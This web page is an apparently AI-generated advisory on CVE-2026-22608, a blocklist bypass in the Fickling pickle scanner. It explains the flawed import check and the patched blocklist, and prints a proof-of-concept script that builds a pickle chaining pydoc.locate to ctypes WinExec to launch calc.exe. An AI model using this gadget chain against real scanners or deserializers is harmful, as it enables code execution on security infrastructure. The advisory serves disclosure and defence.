CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22608
8.90.04%

Tickling Fickling: Bypassing Python's Pickle Police (CVE-2026-22608)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 23, 2026·5 min read·3 visits

PoC Available

Executive Summary (TL;DR)

Fickling trusted a blocklist to detect malicious pickles. It missed `pydoc.locate`. Attackers used `pydoc` to dynamically load `ctypes` and execute arbitrary code, tricking the scanner into running the malware it was supposed to catch.

Fickling, a specialized tool designed to decompile and analyze Python pickle files for security threats, contained a critical logic flaw in its own safety analysis. By leveraging the obscure `pydoc.locate` function, attackers could construct a gadget chain that bypassed Fickling's blocklist, resulting in Remote Code Execution (RCE) on the very machine attempting to scan the malware. It is a classic case of the security tool becoming the attack vector.

The Hook: Even Detectives Get Shot

Python's pickle module is the stuff of nightmares for security engineers. It is a stack-based virtual machine that can execute arbitrary code during deserialization. Enter Fickling, a heroic tool by Trail of Bits designed to decompile, analyze, and—crucially—classify pickle files as 'Safe' or 'Unsafe'.

Security Operations Centers (SOCs) and automated pipelines use Fickling to screen untrusted data before it hits production. The premise is simple: Fickling acts as a bomb disposal robot. It looks at the bomb (the pickle), analyzes the wiring (the bytecode), and tells you if it's going to blow up.

But what happens when the bomb is designed specifically to blow up the robot? CVE-2026-22608 isn't just a bypass; it's a subversion of trust. By crafting a pickle that looks innocent to Fickling's static analyzer but behaves maliciously during the analysis process, we achieve the holy grail of counter-security: Remote Code Execution on the scanner itself.

The Flaw: The Blocklist Fallacy

The vulnerability stems from the age-old debate: Blocklisting (Blacklisting) vs. Allowlisting (Whitelisting). Fickling's safety check relied on a UNSAFE_IMPORTS list. This list contained the usual suspects: os.system, subprocess.Popen, eval, and exec. The logic was straightforward: if the pickle tries to import something on the naughty list, flag it.

However, Python is a language of infinite flexibility. If you block the front door (os.system), a hacker will just crawl through the HVAC vents. In this case, the HVAC vent was pydoc.locate.

pydoc is a documentation generator. It sounds boring, which is exactly why it was overlooked. But to generate documentation, pydoc often needs to resolve strings to objects. The function pydoc.locate(path) takes a string path and returns the object. This effectively gives you a dynamic import mechanism that wasn't on Fickling's radar.

> [!WARNING] > The Logic Gap: The analyzer checked if the imported module was in the blocklist. It did not recursively check what the imported function could do. By importing pydoc, we gained the ability to import anything else indirectly.

The Code: The Smoking Gun

Let's look at why the bypass worked. The vulnerable code in fickling/analysis.py (simplified) looked something like this:

# VULNERABLE LOGIC
if instruction.opcode == "GLOBAL":
    module_name = instruction.arg1
    if module_name in UNSAFE_IMPORTS:
        return Severity.UNSAFE

If we supply GLOBAL 'pydoc' 'locate', Fickling checks its list. Is pydoc in UNSAFE_IMPORTS? No. Is locate unsafe? No. The scanner waves it through as LIKELY_SAFE.

The fix, applied in version 0.1.7, was two-fold. First, they added pydoc, ctypes, and others to the list. Second, and more importantly, they changed the logic to inspect the entire dotted path of an import.

# PATCHED LOGIC
# 1. Expanded Blocklist
UNSAFE_IMPORTS = {"os", "sys", "subprocess", "pydoc", "ctypes", "runpy", ...}
 
# 2. Path Traversal Check
if node.module and any(part in UNSAFE_IMPORTS for part in node.module.split(".")):
    yield node

This split(".") check is vital. Previously, if you could trick the parser into seeing os.path (and os was blocked but os.path wasn't), you might bypass it. Now, if any component of the chain is toxic, the whole thing is rejected.

The Exploit: Building the Chain

To exploit this, we need to construct a 'gadget chain' using Pickle opcodes. We can't just call os.system directly because Fickling watches for that. Instead, we use pydoc.locate to fetch a pointer to a dangerous function (like WinExec via ctypes) and then execute it.

Here is the attack flow visualized:

The Payload Detail

The Python code to generate this payload looks like this:

from fickling.fickle import Pickled, op
 
payload = Pickled([
    # 1. Import pydoc.locate (The Bypass)
    op.Global("pydoc", "locate"),
    
    # 2. Argument: The forbidden library hidden in a string
    op.String("ctypes.windll.kernel32.WinExec"),
    op.TupleOne(),
    
    # 3. Resolve the function
    op.Reduce(),
    
    # 4. Prepare arguments for WinExec (calc.exe)
    op.String("calc.exe"),
    op.BinInt1(1), # uCmdShow
    op.TupleTwo(),
    
    # 5. EXECUTE
    op.Reduce(),
    op.Stop()
])

When Fickling analyzes this, it sees pydoc (safe) and string constants (safe). It fails to realize that pydoc + string = execution.

The Impact: Who Watches the Watchmen?

The impact here is subtle but devastating. Tools like Fickling are often deployed in high-security zones: CI/CD pipelines, malware analysis labs, or intake servers for data processing. These environments often have elevated privileges or access to sensitive internal networks.

By exploiting the scanner, an attacker moves from "sending a bad file" to "controlling the security infrastructure." If a developer runs Fickling locally to check a suspicious file they downloaded, the attacker now owns the developer's workstation.

Furthermore, because Fickling marked these files as LIKELY_SAFE, downstream systems that trusted Fickling's verdict would blindly deserialize the payload, leading to a second stage of compromise. It's a double-tap: compromise the scanner, then compromise the destination.

The Fix: Closing the Loophole

Trail of Bits responded quickly (version 0.1.7) by nuking the pydoc vector and tightening the logic. However, the cat-and-mouse game of blocklisting is eternal.

Immediate Mitigation:

  1. Upgrade Fickling: Ensure you are running version 0.1.7 or higher.
  2. Sandboxing: Never run pickle analysis tools on your host machine. Run Fickling inside a throwaway Docker container with no network access (--network none).
  3. Abandon Pickle: If you have control over the data format, stop using Pickle. Use JSON. Use ProtoBuf. Use literally anything else.

This vulnerability serves as a reminder: Static analysis of dynamic languages is incredibly hard. If a language allows you to turn strings into code (eval, exec, locate, getattr), a static analyzer will almost always have blind spots.

Official Patches

Trail of BitsCommit fixing the bypass and expanding blocklist

Technical Appendix

CVSS Score
8.9/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Probability
0.04%
Top 89% most exploited

Affected Systems

Fickling < 0.1.7Automated malware analysis pipelines using FicklingCI/CD pipelines scanning Python artifacts

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
trailofbits
< 0.1.70.1.7
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
Secondary CWECWE-184 (Incomplete List of Disallowed Inputs)
CVSS v4.08.9 (High)
Attack VectorNetwork / Local (File)
Exploit StatusFunctional PoC Available
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1204User Execution
Execution
CWE-502
Deserialization of Untrusted Data

Known Exploits & Detection

GitHubOfficial Advisory and Proof of Concept

Vulnerability Timeline

Vulnerability identified (pydoc bypass)
2026-01-08
Public Disclosure (GHSA-5hvc-6wx8-mvv4)
2026-01-10
NVD Publication
2026-01-16

References & Sources

  • [1]Fickling Advisory GHSA-5hvc-6wx8-mvv4
  • [2]Python Pickle Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.